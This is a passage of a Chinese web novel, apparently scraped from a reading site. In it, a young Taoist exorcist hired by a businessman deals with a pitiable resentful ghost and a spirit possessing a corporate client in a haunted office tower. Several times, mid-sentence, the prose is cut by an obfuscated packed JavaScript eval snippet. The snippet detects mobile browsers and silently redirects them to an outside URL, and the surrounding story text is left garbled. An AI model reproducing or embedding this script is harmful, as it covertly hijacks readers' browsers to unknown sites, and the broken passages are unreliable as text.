想到这,他思路一下清晰了起来,肃容看着眼前的少女:“神婆,你知道我爷爷为什么会看中你吗?” “知道啊。”师蓬蓬甜甜一笑,努力给他留下美好的印象,“因为我有能力保护你嘛。” 颜京:“……?” 颜京一时还以为自己听错了,但见她一脸罕见的温柔,分明没有半点勉强的样子,他简直不可思议,“你不生气吗?” 师蓬蓬莫名其妙,“我凭实力得到的机会,为什么要生气?” 颜京:“………………” 她,变得好陌生。 好一会,颜京才深深地吐出一口气,形容疲惫:“但我不同意。” 他语气并不多重,却透着一股不可动摇的坚决。师蓬蓬之前就听颜凤书说过他对家里的安排很抗拒,本还想好好跟他谈一下,没想到他当真一点商量的余地都不给。 她不禁有些怀疑,这孙子是不是还在为以前的恩怨记恨她,这也不奇怪,毕竟他心眼子一直挺小的。 “这样啊,那就算了。”师蓬蓬叹气,虽然很想赚这笔钱,但她也不喜欢强人所难。 颜京见她一脸失落,又生出些许不忍,她到底是个女孩子,被这么生硬地拒绝,想必心里也不好受,便琢磨再说点什么缓和一下气氛。 这时他手机刚好亮了起来,却是助理发来信息,提醒他接下来几日的工作行程。看着密密麻麻的行程表,颜京太阳穴顿时隐隐作痛。 工作倒是还好,只是这段时间不知怎么回事,阴物邪祟异常活跃,他有法器护身,一般情况下倒也不打紧。但随着工作越来越忙,他的活动范围也越来越大,连带着未知的风险也越来越多,他工作的场合又不方便让那些高人大师跟着,影响太不好了…… 等等,颜京心头突然一动,转头看向一旁的小神婆,她刚打开打车软件,准备叫个车回家。 那个装着火精的袋子就随意地放在她的脚边,看起来就像一个普普通通的酱菜坛子,丝毫没有作为精怪的尊严。 “喂,神婆。”颜京犹豫片刻,到底是开了口,“你是不是真的很缺钱?” “是啊,要不怎么会找你?”师蓬蓬蔫蔫地应道。 颜京无视她幽怨的眼神,认真道,“我不赞同我爷爷的安排,不过我最近确实遇到了一些麻烦。如果你方便的话,我想以私人身份雇佣你……” 他生怕她有什么误会,特意加重了语气,强调道,“就是纯粹的雇佣关系,没有任何其他的意思,你不要多想。也不需要你全职上班,只要偶尔陪我出席一些特殊场合即可。如果你同意的话,我可以按照青莲观的收费标准支付给你费用。” 青莲观是本省有名的道门大观,收费可不低。颜京开的这个条件不可谓不大方,师蓬蓬却没有立刻回答,而是陷入了深深的思考—— 是颜京的表达有问题,还是她的理解有问题?他说的这些,不就是颜老爷子要她做的事吗?他刚刚好像才严词拒绝了吧……还是他看出她很缺钱,所以即使不喜欢她,还是勉强给了她一个机会? 颜京见她沉默,只当她还心有不甘,道:“如果你不愿意的话就算了……” “我愿意我愿意。”师蓬蓬瞬间回神,也顾不得深究他的脑回路,忙不迭地点头,怕他再反悔,还一脸忠义地抱拳,“公若不弃,愿拜为义父!” 付了钱,就是她野生的爹了! 不管他是不相信她的实力,还是单纯的不喜欢她,她都有信心让他满意,绝对让他感到物超所值! 颜京:“……” 她真的好没节操啊! . 隔天,洛金大厦。 洛金大厦建成于九十年代,是西洛市CBD的代表性建筑,不仅拥有本市第一家国际五星酒店,还有许多知名企业在这里办公。 “今天不用你做什么,你跟在我旁边看着就行。等会我让人给你一张临时工牌,你可以一起进入会场,如果有人问起,就说你是我的朋友就行。”颜京一边停车,一边嘱咐副驾驶的师蓬蓬。 他今天在洛金大厦有个会议,这里地处繁华,人气旺盛,本来不用师蓬蓬跟着。不过刚好是周末,师蓬蓬不用上班,便想让她先熟悉一下他的工作场合,这才把她一起叫了过来。 “好的,京哥。”师蓬蓬从善如流,又好奇地问,“你今天开的什么会啊,还能带朋友进去?” “只是一个对外公开的培训会,所以人员管理没有那么严格。”颜京随口应道,一边打开车门下来,“不过会议要一个半小时后才开始,我等会还要先去见个客户,这段时间你自己先随便走走,或是找个地方休息一下……” 话没说完,就见师蓬蓬脸色突然微微一变,“啧,恐怕休息不了了。” 颜京:“怎么了?” 师蓬蓬环顾四周一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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只见四面八方,凡入目所及,果然到处都飘散着丝丝缕缕的灰色气息,隐隐地,还能感觉到一种既幽怨又暴戾的情绪。须知气息无形,即使开了阴阳眼,一般情况下也很难直接看到阴邪鬼气,如师蓬蓬这样的修行之人,通常也只是以其修为进行感知,但这里的怨气竟然能以肉眼分辨,可见其浓烈已成眚害。 颜京身上有法器庇护,一时半会倒不会被这些气息影响,但不难想象,那些在这里上班的人长期待在这种环境里,精神状态恐怕不会太好。 “这到底是怎么一回事?”颜京凝眉,转头去看师蓬蓬,然后就是一顿,“……?” 只见师蓬蓬正施施然地从帆布包里掏出来一个巴掌大小的木质……烟盒?! 颜京额头又是一跳,即使两人只是纯粹的合作关系,还是情不自禁地生出一种痛心疾首的感觉,“你怎么也染上这种恶习了……” “什么啊?”师蓬蓬莫名,边说边打开了木盒的盒盖,只见里面整整齐齐排着四排紫红色的木制小支。 她随手抽了一支出来,紫色小支连着的下半部分露了出来,赫然是一根比手指略长一点的线香。 颜京:? 颜京顿了一下,不耻下问:“这是?” “哦,这是我自制的便携线香。”师蓬蓬应道,不忘继续追问,“你刚刚到底是说我什么来着?” “没什么。”颜京微微一笑,丝滑改口,“就是觉得你思路挺广的。” 7.怨鬼 “荡荡游精,何处藏形。三魂早降,七魄来临……敕!” 咒诀落下,师蓬蓬手上的线香无火自燃,带着淡淡檀香味道的白烟飘向半空,和那些不祥的灰色气息纠缠在一起,片刻后,白烟如同被无形的力量牵引着一般,缓缓地朝着一个方向飘去。 “走。”师蓬蓬朝颜京打了个手势,带着他跟着白烟形成的淡淡轨迹走去。 好在这时间车库里刚好没人,不然还不好解释。 很快两人到了电梯前,颜京精神正紧绷,见状有些难言,吐槽道:“你这香挺与时俱进啊,还会坐电梯。” “emm——”师蓬蓬看他一眼,“应该是它找到的那个东西经常坐电梯。” 颜京喉咙顿时一紧:“真的有阴物?” 师蓬蓬看着明明没有按下,却自动不断上升的楼层,若有所思:“看来是了。” 终于,楼层数字停在了17A.迷信的人觉得18楼与18层地狱有着一样的数字,意义不好,因而一些开发商顺应这种心理,在设计楼层时不用18,改用17A代替。 电梯门自动打开,门外只有一条空旷的走廊,并没有准备下楼的人。颜京脸色越发不好看,不动声色地往师蓬蓬身边靠近一点。 两人走出电梯,这一层是一些公司租用的办公室,今天是周末,但有几个办公室的灯居然还亮着。 师蓬蓬随便看了一眼,发现是家广告公司,也就不奇怪了。 好在寻踪烟没有往办公室的方向去,而是沿着走廊,慢慢地向着尽头的阴暗处延伸。最终,两人站在了男厕门口。 黑沉沉的厕所门紧闭着,里面静悄悄的,衬得心跳的声音都明显了起来。 颜京喉结上下滑动了一下,迟疑地说:“要不我就不进去……” “嘘——”师蓬蓬食指抵在唇前,打断了他,想了一下,又背过手,抓住他的西装袖口。 颜京一愣,心跳不自觉停了一下。就听她低声说,“别怕,有我在。” 颜京:! 心跳瞬间恢复,急的,颜京立刻不服气地抬了抬下巴,轻哼,“我才不怕……” 与此同时,“吱呀”一声轻响,师蓬蓬推开了厕所的门。 这里的厕所是九十年代的设计风格,方方正正的一览无余。里面空荡荡的,只有一个穿着衬衫的男子背着他们站在窗边,手上还捏着一个烟头,看起来像是一个躲到厕所摸鱼抽烟的打工人。 那人听到背后的动静,慢吞吞地转过身来瞥了他们一眼。 厕所里的灯光白莹莹的,清晰地照出了那人的面孔。颜京心神就是一震。 只见那人全身都是如同水泥般灰白的颜色,黑紫色的血管高高鼓起,从衬衫的领口蜿蜒而出,一直爬到脸上,将面孔割裂成一张可怖的蜘蛛网。他的下眼脸处挂着两个巨大的眼袋,眼睛黑洞洞的,看不出一丝生人气息。 赫然是一个以怨气为食的怨鬼。 颜京差点血都凉了,几乎是反射性地一反手,一把握住了师蓬蓬的手掌。 师蓬蓬没被怨鬼吓到,倒被他抓得一个激灵,默默回头看了他一眼,眼睛里透出询问:不是不怕吗? 颜京眼神飘忽,坚强地小声说:“我是怕你害怕。” 师蓬蓬:“……” 挺好,相信若干年后,即使人类文明灭绝,这小子的嘴也可以留存下来,供新文明考古。 前头,那怨鬼似乎有些疑惑怎么进来的还有个女孩子,黑沉沉的眼珠子转了一下,落在他们握在一起的手上,酱紫的嘴唇顿时一咧:“妈的,大周末跑来男厕打野|炮,也不嫌味大!” 师蓬蓬、颜京:“……” “上面就有个酒店也不舍得去开个房,怎么不抠死算了!真晦气!”那怨鬼一边骂骂咧咧,一边满脸嫌弃地往门口走,一副眼不见为净的样子。 眼看他距离他们越来越近,颜京握着师蓬蓬的手也越来越紧。 “哥,小点力行吗?”师蓬蓬不得不提醒他,“我跟你一样是个活生生的人,也是会痛的。” 说着又转头去看怨鬼,冷声道,“我们不是来偷情的。” “切,鬼才信呢……”怨鬼眼珠子一翻,露出少得可怜的眼白。下一秒,他整个鬼猛然顿住,震惊地看向师蓬蓬,“你看得到我!” 师蓬蓬另一只手已经抛了线香,取出一道黄符,语气中多几分肃杀:“你还有什么话要说吗?” 话音刚落,就见那只怨鬼猛地往前一扑。 他动作太过突然,几乎是猝不及防。颜京被吓了一跳,连忙退后一步,师蓬蓬却丝毫不惧,眼睛微微一眯,就要起咒。 然后,他们就看到,那只可怖的怨鬼双膝一弯,“扑通”一声,跪到了她的面前,声泪俱下,“美女,求求你救救我,帮忙找个人来超度我一下吧,我实在受不了了,这里怨气太重了,再吸下去我都要抑郁了……” 师蓬蓬:? 颜京:??? 这剧情发展实在出乎意料,别说颜京,师蓬蓬都呆了一呆,但见那怨鬼确实没有要动手的意思,这才慢慢地收起黄符,将怨鬼带到楼梯间里询问起来。 怨鬼自称叫佘满庭,原是在这附近上班的一个普通打工人,一年前公司在洛金大厦的酒店包场办年会,会上他被同事灌得酩酊大醉,半夜不小心被呕吐物呛住了喉咙,不幸死在酒店的房间里。 佘满庭死得冤枉,心中留有一点冤屈不消,魂魄无法解脱,就被困在了洛金大厦,徘徊不去。 这原也不要紧,他只是一时的心绪难解,只待时日久了自能释怀,到时便可挣脱束缚。 可偏偏这洛金大厦到处遍布着深重的怨气,佘满庭本就死不瞑目,日日受这恶气的侵扰,不但自身的不甘不得消解,反而还吸入了大量的怨气,慢慢地,竟成了一只形容可怖的怨鬼。 “呜呜呜——我只是一个普普通通的鬼,真的承受不住那么大的怨气,我还想要投胎啊……”佘满庭一把鼻涕一把泪,哭得脸上的血管越发鼓胀,仿佛随时要爆开一般,明明是极为狰狞的画面,却让人无法生出害怕的情绪,甚至有种滑稽的荒谬感。 这时师蓬蓬已经在手机上搜索到了洛金大厦一年前的一条新闻,证实这里确实因劝酒意外死了一个人,当时还引发了关于此类事故责任划分的讨论等等。不过这年头资讯太多,很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽然工作了半年,但已经被社会毒打无数遍的师蓬蓬深有同感,用力点头,“兄弟说得对!” 颜京默默看了她一眼,欲言又止。 至此,他们也总算搞清楚了洛金大厦这诡异情况的真相。 洛金大厦风水确实好,但架不住打工人的怨气实在太重。大厦年代既久,在这里办公的企业又多,每天都在接收成千上万的人散发的负能量。 尤其是近十几年来,随着互联网经济兴起,各大企业越来越卷,打工人下班时间越来越晚,甚至有在公司里通宵达旦的。 夜间本就是阴物活跃的时间,这种情况下,怨气更是成几何式增长。这个CBD的怨气汇聚一起,天长日久,再好的风水也扛不住,便成了现在这般情形。 这种压抑的氛围不但会对活人的精神和健康状况产生影响,也极容易滋生邪祟鬼魅。 如佘满庭,本只是一条再普通不过的魂魄,被洛金大厦强行喂养了一年,直接升级成了怨鬼。 由于怕变得更抑郁,佘满庭平时都尽量避开那些打工人,时常躲到厕所里抽烟缓解一下情绪——还是捡的别人扔的烟屁股。 师蓬蓬唏嘘:“打工人的怨气,当真比厉鬼还重啊!” 佘满庭感慨:“不夸张,我觉得能复活十个邪剑仙了。” 颜京:“……” 8.难缠的甲方 师蓬蓬和佘满庭一唱一和,对黑心资本家一顿输出,一副相见恨晚的样子,看得颜京眼皮直跳,刚好此时助理打来了电话。 “我得去见客户了。”颜京看了看眼前的一人一鬼,欲言又止,“你们……?” 佘满庭立刻巴巴地看师蓬蓬:“姐,你可不能丢下我不管啊!” 颜京:“……” 这怨鬼能不能不要顶着这么惊悚的面孔做这种可怜兮兮的表情,真的很割裂! “要不你先去吧。”师蓬蓬沉吟片刻,对颜京说道,“我留下来再和他谈谈。” 虽然情况大致已经明了,但她还是隐隐觉得哪里不对,似乎还漏掉了什么。 颜京也就不再多说,索性怨鬼已经找到,危机解除,也不需要她再一直跟着,便和她交代了地址,自行先去了五十楼的酒店。 到了酒店大堂,助理卫驰已经等在那里。 一见面,卫驰就露出个古怪的眼神,指了指他的额头:“颜总,您这里是……?” 颜京才想起额头上还有刚才明心定性用朱砂,也没当回事,要了张纸巾擦掉,并随便编了个借口:“刚才朋友跟我闹着玩的。” “明白。”卫驰职业素养很强,闻言立刻识趣地打住话头,只是心中难免暗暗惊讶。 他虽然是个直男,却也看得出,颜京头上的印子,分明是口红画的。 需知颜京一向眼高于顶,平日里有不少女性有意无意地对他表示好感,但他从来是连一个眼神都不多给的,以致还有人背地里传言他性冷淡。 没想到这会才大清早,就玩得这么花了。 也不知是什么“朋友”这么大的魅力,都玩到颜总脸上去了。 颜京感觉他反应有点奇怪,但也没多想,径自问道:“薛总人呢?” “这边。”卫驰忙收敛心神,领着他往酒店的商务会议室去。 会议室的沙发上坐着一个穿着职业套装,样子十分干练的中年女人,她便是颜京今日要见的大客户,年光集团大中华区的市场部负责人薛成荫。 年光集团是全球最大的日用消费品公司之一,旗下产品线众多,每年都要在营销广告上投入巨额资金,是各大分销渠道竞相争取的超级金主。 颜京前后费了不少功夫,才说服了薛成荫,和年光集团达成了一个全面战略合作。只要成功签下合同,不但公司能够拿下年光大中华区的全线代理权,每年还能获得数以亿计的渠道广告费用。 “薛总,让您久等了。”颜京面露微笑,作出握手的姿势,“合同我们已经准备好了,只等您签字即可……” 不想薛成荫却直接无视他的动作,不客气地打断:“谁说我准备签字了?” 颜京一顿,“内容我们不是都已经谈好了吗?” “那是之前,”薛成荫抬起下巴,姿态高高在上,“我现在又觉得不满意了,打算再改一下方案,你们应该没有意见吧?” 颜京不禁蹙起眉头,心里有些疑惑。这次合作并非一日之功,早在此前,他已经和薛成荫有过长达一个多月的拉锯。 薛成荫是个精明的女人,对于合作的内容一直有很多要求。不过她很有谈判技巧,虽然身居高位,却从来不会给人咄咄逼人的感觉,而且说话算话,只要是定下的事情,基本不会出尔反尔。 怎么今日临到签约,反而突然变卦,还表现得如此傲慢,甚至可以说是……没礼貌。 但对方掌握着主动权,颜京纵使有所不满,也只能暂且压下,淡声道,“那就再听听您的想法吧。” …… “……智慧明净,心神安宁,三魂永固,魄无丧倾,急急如律令!” 佘满庭被怨气折磨得不轻,好不容易碰到个能看见他的人,便一刻不停地使劲哼唧。 师蓬蓬身上只带了一些便携的法器,无法就地进行超度科仪,又实在听得心烦,只好先给他施一道净心咒,暂时定住他的心神。 不得不说,施咒的时候,她的心情是十分复杂的。 当年学这咒语的时候,还真没想过有朝一日会给一只怨鬼用上,怨鬼还不放心地嘀咕,“这个真的能给鬼用吗?你不会骗我吧?可别趁机把我收了啊!” “闭嘴。”师蓬蓬忍无可忍地锤了他的脑袋一拳,物理静音。不料咒诀落下,却出现了意料之外的情况,她脸色微微一变,“怎么回事,你身上为什么会有魔气?” 魔气是魔物所产生的气息,魔与鬼不同,佘满庭是只怨鬼,正常情况下身上是不会出现魔气的,但他此时身上却分明有着几缕属于魔物才有的气息。 佘满庭茫然:“啥玩意?” 师蓬蓬:“你不知道?” 佘满庭还真不知道,不过听她说起,倒是想起了什么,“啊呀”一声:“难道是它!” 师蓬蓬:“谁?” “呃,我也不知道它是谁……”佘满庭挠挠头,说道大约一个月前,洛金大厦突然出现了一个新的邪祟。 那邪祟不知是什么来历,可以肯定的是绝非善类,因为它一出现,就把一个广告公司的员工给害了。 “真是好险,当时可是在深夜啊,那人突然就休克了,幸亏广告公司加班的人多,及时发现把人送去了医院,才万幸保住了一命,不过据说现在还在昏迷中。”佘满庭说起来还很感慨,仔细回想了一下,又道,“说起来,洛金大厦以前怨气其实还没有这么重,是那东西出现以后,附近那些办公楼的怨气不知怎么地,也全都聚集到了这里,才成了现在这样子的……” 师蓬蓬简直要被他气死:“你不早说!” 佘满庭无辜:“你也没问啊……” 他与那邪祟虽然同在一栋大厦里,但都是井水不犯河水,并没有什么往来,且那东西平时也不知道是藏在了什么地方,极少露出行迹,因而一时还真想不起它来。 至此,师蓬蓬总算反应过来刚才一直觉得哪里不对劲的原因。生人怨气再重,始终有限,洛金大厦之所以会形成这个局面,是因为把整片CBD区域内的打工人的怨气全都聚了过来的缘故。 但CBD明明有那么多的商业大楼,为什么偏偏是聚到了洛金大厦,而不是其他地方? 不,真正的问题应该是,这些本来分散在各处,可以随着时间慢慢被净化的怨气,为什么会被聚集到了一起? “不好,颜京!”师蓬蓬心头一跳,当即起身,赶往五十楼的酒店。 颜京体质特殊,如果这栋楼里真的藏有其他邪祟,肯定很快就会找上他。 …… “你们这个合同的排版太土了,我不喜欢。”薛成荫翻着打印好的合同,不停地挑剔。 颜京与她相对而坐,闻言不置一词,只慢吞吞地拿起手边的咖啡喝了一口。 卫驰在一旁都汗流浃背了,忙陪笑道:“薛总,我们都是用的标准合同模板。” “套用模板不就是偷懒?这么大的合同,还不多用心点做好?”薛成荫翻了个白眼,“听我的,把字号全部调大,字体和颜色也设计一下,页眉和标题这些换成艺术体,颜 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这时颜京似乎也终于按捺不住,声音微冷:“薛总,这个问题我们之前已经谈过很多遍,我以为不需要再讨论了。” “我不要你以为,我要我以为。”薛成荫祭出甲方金句,双手抱胸,“不然我就再找其他的平台谈一谈,比较一下方案……” “既然这样,那就请薛总再考虑考虑。”颜京站起身来,捋了一下衣摆,“我待会还有个会议,先走一步。” 薛成荫见他居然说走就走,登时大怒,也“蹭”地站了起来,伸手去拦他:“你这是对待甲方的态度吗?” 颜京忙退开一步,但薛成荫动作快得离奇,瞬间就抓住了他的手腕。两人肢体一接触,她的眼神倏然一变,再看过来时,脸上的怒意已然消失,换成了盈盈的笑意:“那么着急干嘛,我刚才只是开个玩笑而已。这样吧,我们坐下来重新谈,还是用第一版,怎么样?” 一旁的卫驰:??? 这薛总闹着玩呢?折腾了他们半天最后说用回第一版,真就听君一席话,恰似四个二带王炸啊? 不过,如果她是真的回心转意,对他们来说无疑是好事。卫驰忙给颜京递了个眼神。 颜京却不为所动,把手腕往回抽:“再说吧……” 不料薛成荫力气大得惊人,他一个身材高大的成年男子,竟是无法摆脱她的桎梏。不仅如此,她的手掌还蔓延出一种诡异的冷意,顺着手腕朝着他的身上钻去。 颜京早有防备,但还是控制不住心神一阵晃荡,心中蓦地涌起一种说不出的烦躁,只觉得现在的工作哪哪都不顺心,那些客户尤其令人厌烦,甚至生出了想要立刻辞职的念头。 薛成荫眼睛里浮现出贪婪之色,“做甲方真不错,还能碰到这种货色……” 话未说完,颜京手上戴的腕表指针轻跳了一下,脉搏随着一动。薛成荫感觉手掌一痛,像是被烈焰灼到一般,“嘶”的一声松开了手。 与此同时,会议室的玻璃门被人推开,师蓬蓬闯了进来:“颜京,你没事吧?” 她一路掐着诀过来,隔着一道门,就感觉到这里有不寻常的气息。 烦躁的情绪顿如晨雾消散,颜京蓦地清醒过来,几乎是一个箭步蹿到她的身边,脸色青白地平缓了一下气息,才熟练地作出冷酷的表情:“不要紧,区区邪祟罢了。” 师蓬蓬:“……” 难怪这小子给她开那么高的工资,这钱里得有一半是看他装逼的精神损失费吧! 9.消失的邪祟 薛成荫盯着突然闯进来的少女,眼神多了几分危险:“你是什么人?” 师蓬蓬同样不爽:“你又是什么鬼?” 一旁的卫驰被这突如其来的变故搞得一头雾水,茫然地看颜京:“颜总,请问这是……?” 颜京一脸镇定地向他示意:“你快过来,躲她后面。” 卫驰:“……?” 他没理解错的话,颜总似乎是想让眼前这个少女保护他?虽然不知道现在是什么情况,但他堂堂一个七尺男儿,怎么可能让一个女孩子挡在身前! 卫驰觉得颜京实在太小看他了,当即很有骨气地挺了挺背脊:“我不需……” “要”字还没出口,会议室中温度骤然一降,彻骨的寒冷带着一种诡异的气息,如针般刺入皮肤。卫驰浑身一颤,冒出一层密密的鸡皮疙瘩,顿时一声“卧槽”,跟兔子一样猛地蹿到师蓬蓬的身后,“这这、这是怎么回事?” 颜京面色沉沉:“薛总恐怕是被附身了。” 谈判刚开始没多久,他就意识到“薛成荫”有问题,刚才一直暗中观察,基本可以确定眼前这位绝不是真正的薛成荫本人,所以才急着离开,只是到底没能脱身。 说话间,师蓬蓬已向前一步,双指一点,一道黄符凌空飞向“薛成荫”。 “原来是个小修士。”“薛成荫”冷笑,身形如鬼魅般一晃,却是更快地出现在师蓬蓬身前,一把抓住她的手腕。 它的力气极大,师蓬蓬皮肤又白,登时被掐出一道刺眼的红印。 师蓬蓬也火了,差点就要一拳捣上去,但怕伤及无辜被附着的肉身,还是硬生生忍了下来,只是掏出朱砂口红,往对方的脸上画出。 “薛成荫”见状嗤笑,“怎么,要给我化妆……啊!!” 脸上遽然传来一阵灼痛,它发出一声大叫,连忙松开师蓬蓬的手,闪到斜对面的角落里,眼睛里浮现出一道血一样的红色,“岂有此理!” 伴随着它愤怒的声音,会议室里狂风大作,桌子上的合同霎时四散纷飞,几张椅子也腾空而起,朝着他们砸去。 这场面显然超出了科学能解释的范畴。卫驰双腿发虚,大气都不敢喘一口,急急忙忙去拉门把,但明明没有上锁的玻璃门,此时却像被什么东西牢牢地堵住一般,怎么都打不开。 眼看椅子就要砸下,师蓬蓬纵身一跃,朝着其中一张飞出一脚,那椅子顿时横飞出去,撞在另外两把椅子上面。 “卧槽!”卫驰眼睛都直了,“成龙附身啊!” 颜京眼皮也是一跳,他倒是早知道这小神婆有些怪力,但没想到过了这么长时间,她不但力量上没有丝毫削弱,连身手都进化了。 真是恐怖如斯! 只听“当啷”一声巨响,几把椅子一起被扫落在地。同时师蓬蓬借着这一纵,落到“薛成荫”身前,右手一甩,挥出四道黄符凭空悬在“薛成荫”的四角。 “两仪之精,阳火在心……” 少女清凌凌的施咒声直入心间,使人神思一定。符上的朱砂随着亮起,连成合围之势,将“薛成荫”困在当中。 “啊——”“薛成荫”眼睛里的血丝越来越多,几乎把眼白全部染红,和脸上的朱砂互相映照,显得越发狰狞。它后槽牙“咯咯”作响,不断挣扎,却被符阵牢牢压制。 眼看四张黄符距离越来越近,就要贴到身上,它情急之下,竟是放弃施法,直接以肉身相搏。 这一着却有奇效,那符阵主在驱邪,对人身的压制力度稍弱。就这一瞬的空隙,“薛成荫”以迅雷不及掩耳之势拽住前方的一道符,徒手生生地将其碾碎。 符阵霎时失效,“薛成荫”挣脱桎梏,张牙舞爪地朝着师蓬蓬扑去。师蓬蓬反应也是极快,立时一个侧身,避了过去。 “薛成荫”对她生了惧意,一扑不着,也不敢再恋战,趁势便往门的方向逃去。 卫驰就站在门边,突然被一阵无形的力量掀起,“唉哟”一声撞到了旁边的墙角里,刚才怎么都拉不开的玻璃门随即自动打开。 门外,一股强烈的怨气扑面而来,“薛成荫”就是一愣,才看到门口处,赫然站着一只面目狰狞的怨鬼。 佘满庭虽然做了一年的怨鬼,但并没有什么斗法的经验,因而刚才没敢跟师蓬蓬一起进来,只是躲在门口暗中观察。 没想到“薛成荫”败得这样快,还慌不择路地打开了门。 佘满庭猝不及防与它打了个照面,顿时有些尴尬,讪讪一笑:“哈哈,真巧啊,你这是上了人身?” 说着还竖起个大拇指,“真厉害,我都不会这招。” “薛成荫”:“……” “薛成荫”自然是认得他的,两者同在一栋大厦,气息很难隐藏。不过“薛成荫”一直不大看得上他,作为一只怨鬼,占据着CBD这种怨气冲天的风水宝地,不好好修炼以图成为一代大鬼,反而天天因为怨气太重而emo,实在让邪祟鄙夷。 不过此时看到他,“薛成荫”心中却是一喜,这家伙再菜,那也是只怨鬼,若能出手帮忙,定能给那婆娘制造不小的麻烦。 “薛成荫”心念电转,瞬息间有了思路,说道:“你来得正好,这里有个法师正在闹事,这可是我们的地盘,怎能让她嚣张。不如你跟我联手,我们一起弄她!” 佘满庭面露迟疑:“这不太好吧……” “薛成荫”皱眉:“为什么不好?” “因为他要跟我联手。”师蓬蓬冷不丁开口,说道,“怨鬼,快帮我按住它,我把它逼出来。” “好的,姐。”佘满庭点头,到了这份上,他再想旁观也不可能了,索性豁了出去,“嗷嗷”叫着就往“薛成荫”扑了过去。 “薛成荫”:??! 它怎么都没想到这只怨鬼居然跟这法师是一伙的,由于太错愕,一时竟是愣了一下。就这一会的功夫,佘满庭已经近到它的身边,双手往前一圈,紧紧地卡住它的肩膀和脖子。 “薛成荫”又气又急,一边挣扎一边破口大骂,“你这只怨鬼界的败类,居然帮着法师害自己人!” “谁跟你自己人啊,人家生前也是个好人好吧!”师蓬蓬吐槽,她弄了杯水,这会正在烧符。 佘满庭催促道,“姐,你快点啊,它力气好大!” “来了。”师蓬蓬一步上前,一手捏住“薛成荫”的下巴,将兑好的符水往它喉咙里灌。 “嗬——嗬——”“薛成荫”像破风箱般喘着粗气,越发用力地扭动,竟真叫它挣脱了一条手,伸着就去挠师蓬蓬。 师蓬蓬腾不出手,只能看向旁边的颜京,“哥,你快过来搭把手。” 颜京:“……” 她说得轻巧,知道“薛成荫”现在的样子看起来有多恐怖吗! 只见“薛成荫”整个面容已经扭曲变形,眼睛更是完全成了妖异的血色,这画面给人的心理负担着实不小。 “算了。”师蓬蓬见他脸色发白,心知他的毛病,也就没有勉强,径自转头去看卫驰,“要不你过来帮一下?” 卫驰对她已然心悦诚服,而且他看不到佘满庭,受到的冲击没那么大,当即点头:“好的。” 颜京见她这么轻易就放弃了自己,顿时想起一些不太愉快的记忆,霍然起身道:“不用,我来。” 说着几步上前,一把扣住“薛成荫”乱动的手,动作很坚决,不过脸色又白了几分,若仔细分辨,就会发现他呼吸也轻了一些。 师蓬蓬余光瞥了他一下,有些好笑,但也没有多说,只继续手上的动作。 两人一鬼通力合作,总算把那杯符水悉数灌进了“薛成荫”的肚子里。“薛成荫”顿时呛咳起来,发出凄厉的哀嚎,听得人心里发毛。 渐渐地,嚎叫声弱了下来,“薛成荫”眼睛里的血色也逐渐消退,接着脑袋一歪,晕了过去。 佘满庭松了口气,问道:“姐,怎么样,它出来了吗?” “奇怪,”师蓬蓬面色微沉,“它不见了。” 颜京看过来:“什么意思?” 师蓬蓬解释道,符水已经起了效果,薛成荫也解除了被附身的状态,按说那邪祟应该从她体内出来了,但是她却没有发现它的踪迹。 佘满庭“啊”了一声,面露担忧:“该不会被它跑了吧?” “不可能。”师蓬蓬摇头,那邪祟修为并不多么高深,不然不会轻易就被她一个四象符阵困住,更不可能在喝了符水的情况下,毫无痕迹地逃走。 正在疑惑,一道细细的声音忽然响起,充满了得意:“想抓住我,没那么容易。” 卫驰吓了一跳:“谁在说话?” 佘满庭也四处张望:“你在哪?” 颜京则看向师蓬蓬,面色狐疑:“这声音……?” 他一直凝神戒备,因而非常肯定,刚才周围根本没有任何动静,这声音并非来自外界,更像是直接出现在他们心里的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694570|156158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >师蓬蓬摇摇头,她也注意到了这一点,但一时也摸不着头脑。 这邪祟到底是什么东西,又藏在了什么地方,为何能够直接以心声与他们交流? 忽然,卫驰脸上一凉,“诶”了一声:“怎么漏水了?” 与此同时,另外的两人一鬼也听到“滴答滴答”的水滴声,师蓬蓬下意识地抬起头,就看到天花板上,不知何时凝了一层细细的灰色水珠,她心中陡然闪过一丝不祥的预感,喝道:“小心,不要被这些水滴到了。” 刚说完,卫驰突然扭过头来,一脸不满地看着颜京,气呼呼地喊了一声:“颜总。” 颜京莫名:“怎么了?” “没什么。”卫驰不阴不阳地“哼”了一声,“就是想问问,你到底什么时候找对象?别整天光想着加班,你乐意做单身狗,我还想多留点时间约会呢。” 颜京:“……?” 颜京眉头皱起,疑惑地看着他,卫驰一向很有分寸,怎么会在这个时候,突然说出这么越界的话? 就听师蓬蓬说道:“不好,他被怨气影响了。” 原来这些凝结的灰色水珠不是别的,正是实质化的怨气,那邪祟悄无声息间,竟把遍布洛金大厦的怨气都凝聚了过来。 方才卫驰不慎被滴到了水珠,受到了怨气的侵袭,这些怨气又多为打工人所产生,因此他作为打工人的阴暗面一下子被放大了。 颜京一下抓住重点:“所以这其实就是他心里的想法,只是被怨气加重了?” “看开点。”师蓬蓬睨他一眼,随手往卫驰身上贴了张符,“哪个下属不在背后蛐蛐领导啊,他这算什么,都没骂你傻逼呢。” 颜京:“……” 她是会安慰人的。 卫驰在符法的作用下,情绪总算冷静了下来,只是昏昏沉沉的,显出几分状况外的样子。 